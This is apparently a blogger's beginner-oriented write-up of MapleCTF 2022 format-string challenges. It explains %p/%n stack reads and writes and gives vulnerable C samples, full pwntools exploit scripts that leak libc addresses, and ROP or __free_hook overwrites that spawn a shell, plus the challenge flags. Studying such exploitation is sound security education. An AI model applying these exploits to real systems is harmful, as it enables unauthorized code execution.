[pwn] Printf stuff in pwn (e.g. pwintf) [MapleCTF2022]

0x0 Introduction

printf is a common vulnerable in the pwn questions. Recently, I got an opportunity to try two very interesting question related to printf in MapleCTF 2022, I think it would be good if I wrote my experience about printf so that I could reinforce my understanding about printf stuff.

Anyway, I would try to explain as much as detail in the article in order to make it beginner friendly.

Hope this article can help you in printf

0x1 What is printf (string formating)

so, string format is a way to print out data by stating its format in a string.

for example, the code below will print out "Hello, printf , I'm 16 year old". We can see that string "%s" is replace by "printf" and "%d" is replaced by 0x10 (which is 16 in decimal)

1
printf("Hello, %s , I'm %d year old","printf",0x10)

all the character start with % is called format string, there are serveral different format string you can use in C.

Here is some commonly used format string, ignore %n for now. We will come to it later

1
2
3
4
5
6
7
8
9
10
11
%d      integer
%s char
%l long int
%ll long long int
%p pointer
%x unsigned hexadecimal
%n write number of printed character in 4 byte
%hn write number of printed character in 2 byte
%hhn write number of printed character in 1 byte

%10$? use 10th parameter and print in format of ?

0x2 How function are called

Before talking about the printf, first thing we need to know is how a function are called and how parameter are passed.

In one words, x86 push all parameter into the stack. x64 move first 6 parameter into register and push rest parameters in to the stack.

for example

1
bar(100,200)

In x86, the stack would look like this

1
2
3
4
5
6
Bar Stack (current)
EBP
EIP
200 - para2
100 - para1
Pararent Stack

While in x64, the stack would look like this and two paramter, 100 is saved in the rdi and 200 is saved in the rsi. Since there there are only two argument, there is no extra value pushed into the stack.

1
2
3
4
Bar Stack (current)
RBP
RIP
Pararent Stack

2022-02-02_192750.jpg

0x2 Read the stack

basic idea

Here is a simple vulnerable code, can you figure out a way to let program print out *buf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

void main()
{
int x = 0x1337;
char *buf = "my super secret";
char s[0x20];
printf("hello here is my number %d\n", x);
while (1)
{
puts("please enter: ");
fgets(s, 0x20, stdin);
puts("You Enter: ");
printf(s); //!! here
}
}

printf(s) give us the opportunity. As I mentioned in the Part1, the computer didn't care about what parameter you actually pass in. It read whatever is in the register and on the stack.

Assume you put %p-%p-%p-%p in the string s. The computer don't know you didn't pass other 4 parameter. It will just read whatever is store in the register and stack.

For example ,in x64, it will print out address in "rsi-rdx-rcx-r8".

So, if we continue to print out, and used out all the 6 register. printf will assume there is some data in the stack, so printf will then get data from stack and print it out.

This give us a way off leaking data on the stack.

verification

Lets check with a debugger.

First before call printf, the stack looks like this, we can see our x is at rsp, and buf is locate right under rsp.
2022-02-02_205224.jpg

Lets enter %p%p%p%p%p %p-%s.

  • The first 5 %p is used for the rest of 5 registers
  • than x and buf is printed by by format %p and %s

We got exactly what we want
2022-02-02_205732.jpg

we can also use %p%p%p%p%p %p-%p to print out the address of buf

1
2
You Enter:
0x56206ad2e2a0(nil)0x7fdee909b1e70xc(nil) 0x1337-0x562069b06004

simpler method

using %p%p%p%p%p %p-%p is ok when we have large input size. But what happen if we don't have enough input size.

We can use %num$format to get the same result.

for example, we want to get the x and buf. We know from previous, we can get x from 6th parameter and buf from 7th parameter.

so, we can use %6$p-%7$s as a substitution. And we got the same result as %p%p%p%p%p %p-%s

2022-02-02_225614.jpg

0x3 Write on the stack

basic idea

in order to write data by printf, We need use the debug features of printf - %n, %hn, and %hhn.

basicly, %n allow you write total number of character printed into a int pointer.

For example, following code will change x to 5 after printf.

1
2
3
4
5
6
7
8
9
#include <stdio.h>

void main()
{
int x = 0;
printf("before, x = %d\n",x); // here x = 0
printf("12345%n\n",&x);
printf("after, x = %d\n",x); // this will print x = 5
}

example

lets modify the example in the read. In this example, we need to find a way changing x to 0x1337.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

char *buf = "my super secret";

void main()
{
int *x = malloc(sizeof(int));
*x = 0x1336;
char s[0x20];
while (1)
{
printf("hello here is my number 0x%x\n", *x);
puts("please enter: ");
fgets(s, 0x20, stdin);
puts("You Enter: ");
printf(s);
if (*x == 0x1337){
puts(buf);
}
}
}

Looking at this code, we can use again printf(s) to change value store in the *x.

Since x is locate under the rsp if we check the debugger, we can use %7$n format string to point to the x.

2022-02-02_230122.jpg

then we use %4919x%7$n to write 0x1337 (4919) into x. (%4919x means pad 4919 byte, which has 4919 length)

we can see the value of x has been successfully changed.

2022-02-02_230645.jpg

%n? %hn? %hhn

we know that the different between them is how many bytes it write.

Normally, we only use %hn and %hhn.

Because four bytes like 0x11ffff = 1179647 is too large for stdout to write.

if we take the example above and change some value

  • if x = 0xffffffff, use %1x%7$hn, x will become 0xffff0001 (two bytes have been overwrited)
  • if x = 0xffffffff, use %1x%7$hhn, x will become 0xffffff01 (one bytes have been overwrited)

What if I wants to write more than 2 bytes

For example, if we want to write 4 bytes (0x1011) at address 0x1002

  • first write lower two bytes 0x11 at 0x1002
  • second write higher two bytes 0x10 at 0x1004
  • depending on the endianness, if computer use big endianness, this should be write at 0x1000

0x4 Example baby-pwintf

Lets take look at source code baby-pwintf.c

the vulnerability is quite obvious if you read through the whole article.

We just need change rating to 0x1337.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void vuln() {
char* input = malloc(16);
int* rating = malloc(4);

fgets(input, 16, stdin);
*rating = input[0] % 11;

puts("Your name is:");
printf(input);

printf("I rate your name %d / 10\n", *rating);

if (*rating == 0x1337) {
puts("Nice name! here's a flag:");
win();
}
}

part of exp.py

1
2
3
4
io = start()
# 0x1337 = 4919
io.sendlineafter(b"Tell me your name and I'll rate it!", b"%4919x%7$n")
io.interactive()

flag: maple{youwe_weady_fow_the_big_boy_chawwenge}

0x4 Example pwintf

Now, we understand the basic of printf. Lets do some challenge

Mitigation

1
2
3
4
5
#    Arch:     amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

Quick look

lets take a quick look at the source code. There is a trivial vulnerability here - printf(input).

Before exploit the binary, there still some problem we need to find solution

  1. Since the input is locate at heap. We can't write arbitrary data into the stack.
  2. the program didn't provide a way to exist the while loop. And there is no ret instruction in the vuln function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vuln() {
puts("Wewcome b-back?!! Peopwe wewe t-twying t-to hack my pwogwam, so I stopped putting the x3 fwag in memowy ÚwÚ");
while(1) {
char* input = malloc(0x100);

fgets(input, 0x100, stdin);

printf(input);

free(input);
}
}

int main() {
alarm(60);
setbuf(stdout, NULL);
setbuf(stdin, NULL);

vuln();

return 0;
}

So, want can we do. There are two solution (maybe there is more but I only know two)

  1. change the rip of printf and then construct a rop chain to call one gadget
  2. write rop chain to free_hook

change rip of printf (unintended)

if we look at the stack before call program call printf. We can see that the address of printf rip is just 8 bytes above the vuln stack.

2022-02-03_170338.jpg

So, if we can find a way to overwrite this rip, we can use this rip to construct a rop chain.

Lets summarize the idea of this method

  1. first, find a memory block in the stack, make that block point to the rip of printf
  2. use printf with %n, change the address of rip
  3. when printf finish. It will fall into the rop chain and spawn a shell.

With these step in mind, After looking at the stack, I came up with a solution.

because i'm lazy, so i choose the address on the stack so that I only need to write at most 4 bytes

  1. change the value of (rsp+35*0x8) to (rsp + 5*0x8) using (rsp + 7*0x8)
  2. change the value of (rsp+5*0x8) to one gadget address using (rsp+35*0x8)
  3. change the value of (rsp+35*0x8) to (rsp - 0x8) using (rsp + 7*0x8)
  4. change the value of (rsp - 0x8) to rop chain gadget address using (rsp+35*0x8)
  5. use pop_rbp_r12_r13_r14_r15_ret as the the rop chain gadget, pop all unnecessary value on the stack and return to one gadget address in (rsp+5*0x8)

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from pwn import *


class BinaryInfo:
exe = "pwintf"
libc = "libc.so.6"
# libc = "/usr/lib/x86_64-linux-gnu/libc-2.31.so"

host = ""
port = 32011


# Set up pwntools for the correct architecture
exe = context.binary = ELF(BinaryInfo.exe)
exe_rop = ROP(exe)
if BinaryInfo.libc != "":
libc = ELF(BinaryInfo.libc)
libc_rop = ROP(libc)
else:
libc = None
libc_rop = None


# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or BinaryInfo.host
port = int(args.PORT or BinaryInfo.port)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)


# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


def log_print(*msg):
log.info(" ".join(map(str,msg)))


def int2byte(x: int):
return x.to_bytes(exe.bytes, "little")


def wait_for_debugger(io):
if args.LOCAL and input("debugger?") == "y\n":
pid = util.proc.pidof(io)[0]
log_print("The pid is: " + str(pid))
util.proc.wait_for_debugger(pid)
log_print("press enter to continue")

# ======== gadget stuff =========
ret_addr = exe_rop.find_gadget(['ret'])[0]
# ============================


# ======== libc stuff =========
libc_bin_sh_offset = next(libc.search(b"/bin/sh"))
log_print("libc /bin/sh offset", hex(libc_bin_sh_offset))
libc_printf_offset = libc.sym["printf"]
log_print("libc printf offset", hex(libc_printf_offset))
libc_system_offset = libc.sym["system"]
log_print("libc system offset", hex(libc_system_offset))
libc_start_main_ret_offset = libc.libc_start_main_return
log_print("libc_start_main_ret_offset", hex(libc_start_main_ret_offset))
# ============================



io = start()
lp = log_print
wait_for_debugger(io)

def read_stack_at(offset):
io.sendline(b"%%%d$p"%(offset+6))
a = io.recvuntil(b"0x")
return int(io.recv()[:-1:],16) & 0xffffffffffffffff

def read_data_at(offset):
io.sendline(b"%%%d$x"%(offset+6))
a = io.recvuntil(b"0x")
return int(io.recv()[:-1:],16) & 0xffffffffffffffff

def write_stack_at(offset,data,number_of_bytes):
byte_format = b"n"
if number_of_bytes == 2:
byte_format = b'hn'
if number_of_bytes == 1:
byte_format = b'hhn'
io.sendline(b"%%%dx%%%d$%s|IENDL"%(data,offset+6,byte_format))
io.recvuntil(b'IENDL')
return

soffset_to_stack_35 = 7
soffset_stack_35 = 35
soffset_stack_vuln_rip = 3
soffset_libc_start_main_ret = 5

# lp("free hook addr",hex(libc.sym["__free_hook"]))

lp(io.recv())

current_rsp_addr = read_stack_at(0) - 0x20
lp("current rsp addr", hex(current_rsp_addr))
# address of mov eax,0 at sym.main
program_base_addr = read_stack_at(soffset_stack_vuln_rip) - (exe.sym["main"] + 0x44)
lp("program base addr", hex(program_base_addr))
libc_base_addr = read_stack_at(soffset_libc_start_main_ret) - libc_start_main_ret_offset
lp("libc base addr", hex(libc_base_addr))
lp("/bin/sh", hex(libc_base_addr+libc_bin_sh_offset))
pop_3_stack_ret_addr = program_base_addr + 0x131f
pop_rbp_r12_r13_r14_r15_ret_addr = program_base_addr + 0x131b
lp("pop_3_stack_ret_addr", hex(pop_3_stack_ret_addr))
lp("pop_rbp_r12_r13_r14_r15_ret_addr", hex(pop_rbp_r12_r13_r14_r15_ret_addr))

printf_rip_addr = current_rsp_addr - 0x8
lp("printf rip addr", hex(printf_rip_addr))

# one gadget r15,rdx == null
one_gadget_addr = libc_base_addr + 0xe6c81
lp("one gadget addr",hex(one_gadget_addr))

stack_libc_start_main_ret_addr = current_rsp_addr + soffset_libc_start_main_ret * 0x8
write_stack_at(soffset_to_stack_35,(stack_libc_start_main_ret_addr) & 0xffff,2)
write_stack_at(soffset_stack_35, one_gadget_addr & 0xffff,2)
write_stack_at(soffset_to_stack_35,(stack_libc_start_main_ret_addr+0x2) & 0xffff,2)
write_stack_at(soffset_stack_35, (one_gadget_addr >> 16) & 0xffff,2)


write_stack_at(soffset_to_stack_35, printf_rip_addr & 0xffff,2)
# read_stack_at(soffset_stack_35)
write_stack_at(soffset_stack_35, pop_rbp_r12_r13_r14_r15_ret_addr & 0xffff,2)

io.interactive()

write rop to chain to free_hook (intended solution)

after discuss with the author of the challenge. The intended solution for this one is actually using another debug feature - free_hook

So basically, libc have an writable function address called __free_hook. the function will be called every time free() is called.

Therefore, by write address into __free_hook, we can escape from while loop and get into a rop chain

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 1442 pwintf
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('pwintf')
libc = ELF('libc.so.6')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'localhost'
port = int(args.PORT or 1442)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

io.recvline()

io.sendline(b"%11$p\n%6$p\n%13$p")

libc.address = int(io.recvuntil(b"\n", drop=True), 0) - libc.libc_start_main_return
stack_addr_0 = int(io.recvuntil(b"\n", drop=True), 0) - 0x20
stack_addr_1 = int(io.recvuntil(b"\n", drop=True), 0)

stack_offset = 6 + (stack_addr_1 - stack_addr_0) // 8

io.info("Libc: " + hex(libc.address))
io.info("Stack 0: " + hex(stack_addr_0))
io.info("Stack 1: " + hex(stack_addr_1))



def write_on_stack(value, offset):
for i in range(4):
io.sendline("%{}c%13$hn".format((stack_addr_0 + 8 * (offset - 6) + 2 * i) % 0x10000).encode())
io.recvline(1)

chars = (value // (0x10000 ** i)) % 0x10000
if chars == 0:
io.sendline("%{}$hn".format(stack_offset).encode())
else:
io.sendline("%{}c%{}$hn".format(chars, stack_offset).encode())
io.recvline(1)

print(hex(libc.address))

write_on_stack(libc.sym['__free_hook'], 8)
write_on_stack(libc.sym['__free_hook'] + 2, 9)
write_on_stack(libc.sym['__free_hook'] + 4, 10)
write_on_stack(libc.sym['__free_hook'] + 6, 11)

target = libc.sym['system']
payload = "/bin/bash #"
written = len(payload)

chars = ((target % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%8$hn"

chars = (((target // 0x10000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%9$hn"

chars = (((target // 0x100000000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%10$hn"

chars = (((target // 0x1000000000000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%11$hn"

io.sendline(payload.encode())
io.recvline()

io.interactive()

flag

maple{h0p3_1t_d1dnt_t4k3_l0ng}